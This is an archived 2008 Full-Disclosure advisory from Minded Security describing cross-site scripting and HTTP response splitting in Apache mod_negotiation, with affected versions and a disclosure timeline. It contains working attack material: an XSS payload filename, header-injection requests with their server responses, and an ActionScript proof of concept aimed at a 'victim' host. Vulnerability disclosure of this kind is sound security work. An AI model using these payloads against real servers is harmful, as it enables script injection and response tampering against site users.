| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: Tue, 22 Jan 2008 23:16:13 +0100
From: Minded Security Research Labs <research@...dedsecurity.com>
To: FD <full-disclosure@...ts.grok.org.uk>
Cc: "\(Minded\) Stefano Di Paola" <stefano.dipaola@...dedsecurity.com>
Subject: Apache mod_negotiation Xss and Http Response
Splitting
Apache mod_negotiation Xss and Http Response Splitting
Date: January 22th, 2008
Tested Versions: Apache <=1.3.39
<= 2.0.61
<= 2.2.6
Minded Security ReferenceID:
MSA01150108
Credits:
Discovery by
Stefano Di Paola of Minded Security
stefano.dipaola [_at_] mindedsecurity.com
Severity: Low/Medium
Permalink:
http://www.mindedsecurity.com/MSA01150108.html
[ Background ]
>>From Apache Mod_Negotiation page:
Content negotiation, or more accurately content selection,
is the selection of the document that best matches the clients
capabilities, from one of several available documents. There are
two implementations of this.
* A type map (a file with the handler type-map) which explicitly
lists the files containing the variants.
* A MultiViews search (enabled by the MultiViews Option, where the
server does an implicit filename pattern match, and choose from
amongst the results.
[ Summary ]
Mod_negotiation doesn't sanitize filenames in '406 Not Acceptable'
response and '300 Multiple Choices' message body.
This could lead to Xss if the name of the file is controlled by an
attacker (i.e. by previously uploading it).
Moreover, as the list of the filenames is also sent, without being
sanitized, in the response header, it could result in a Http Response
Splitting [1] issue if the name of the file contains '\n' (Line Feed).
[ Analysis ]
I. Cross Site Scripting
Let's suppose mod_negotiation is enabled and an attacker could upload
a file with arbitrary name and whatever mime extension.
For example a legit jpeg file named:
<img src=sa onerror=eval(document.location.hash.substr(1))>.jpg
Then by requesting it without extension with Accept header set to
image/jpeg; q=0,
----------------------------------------------------
GET <img%20src=sa%20onerror=eval(document.location.hash.substr(1))>
HTTP/1.1
Host: 127.0.0.1
Accept: image/jpeg; q=0
HTTP/1.1 406 Not Acceptable
Date: Tue, 15 Jan 2008 15:43:11 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Alternates: {"<img src=sa
onerror=eval(document.location.hash.substr(1))>.jpg" 1 {type image/jpeg}
{length 2}}
Vary: negotiate
TCN: list
Content-Length: 610
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>406 Not Acceptable</title>
</head><body>
<h1>Not Acceptable</h1>
<p>An appropriate representation of the requested resource /<img
src=sa
onerror=eval(document.location.hash.substr(1))> could not be found
on
this server.</p>
Available variants:
<ul>
<li><a href="<img src=sa
onerror=eval(document.location.hash.substr(1))>.jpg">
<img src=sa onerror=eval(document.location.hash.substr(1))>.jpg</a> ,
type image/jpeg</li>
</ul>
<hr>
-----------------------------------------------------
As it could be noted, no sanitization of the filename is done,
leading to Xss.
II. Http Response Splitting
By using a similar technique, Http Response Splitting could be
triggered if there's some way to set the name of the file like
the following:
'junk
Header: Injected
blah:.jpg'
Then, by requesting the urlencoded file name:
------------------------------------------------------
GET /junk%0aHeader:%20Injected%0ablah: HTTP/1.1
Host: 127.0.0.1
Accept: image/jpeg; q=0
HTTP/1.1 406 Not Acceptable
Date: Tue, 15 Jan 2008 16:06:52 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Alternates: {"junk
Header: Injected <----- Here!
blah:.jpg" 1 {type image/jpeg} {length 2}}
Vary: negotiate
TCN: list
Content-Length: 508
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>406 Not Acceptable</title>
</head><body>
<h1>Not Acceptable</h1>
<p>An appropriate representation of the requested resource /junk
Header: Injected
blah: could not be found on this server.</p>
Available variants:
<ul>
<li><a href="junk
Header: Injected
blah:.jpg">junk
Header: Injected
blah:.jpg</a> , type image/jpeg</li>
</ul>
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at 127.0.0.1 Port
80</address>
</body></html>
------------------------------------------------------
As it could be noted, the header response is splitted and "Header:
Injected" is,
indeed injected.
[ Proof of Concept ]
The following actionscript can be used in order to trigger the Xss.
----------------------------------------------------------
// Tested on IE 7 and FF 2.0.11, Flash plugin 9.0 r115
// Compile with flex compiler
package
{
import flash.display.Sprite;
import flash.net.*
public class TestXss extends flash.display.Sprite {
public function TestXss(){
var r:URLRequest = new URLRequest('http://victim/<img%20src=sa%
20onerror=eval(document.location.hash.substr(1))>#alert(123)');
r.method = 'POST';
r.data = unescape('test');
r.requestHeaders.push(new URLRequestHeader('Accept', 'image/jpeg;
q=0'));
navigateToURL(r, '_self');
}
}
}
----------------------------------------------------------
[ Credits ]
Stefano di Paola is credited with the discovery of this vulnerability.
[ Disclosure Timeline ]
15/01/2008 Initial vendor notification
16/01/2008 Vendor Confirmed
21/01/2008 Coordinated public disclosure
22/01/2008 Minded Security Research Lab Advisory
[ Reference ]
[1] "Divide and Conquer, HTTP Response Splitting, Web Cache
Poisoning Attacks, and Related Topics ", Amit Klein, March 2004.
http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
[ Disclaimer ]
The information within this paper may change without notice. Use
of this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.
In no event shall the author be liable for any damages whatsoever
arising out of or in connection with the use or spread of this
information.
Any use of this information is at the user's own risk.
Permission is hereby granted for the redistribution of this Alert
electronically. It is not to be edited in any way without express
consent of Minded Security Research Lab. If you wish to reprint the
whole or any part of this Alert in any other medium excluding
electronic medium, please e-mail research@...dedsecurity.com
for permission.
Copyright (c) 2008 Minded Security, S.r.l..
All rights reserved worldwide.
--
---
Research Labs
Minded Security S.r.l.
Web: http://www.mindedsecurity.com
Mail: research_at_mindedsecurity.com
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists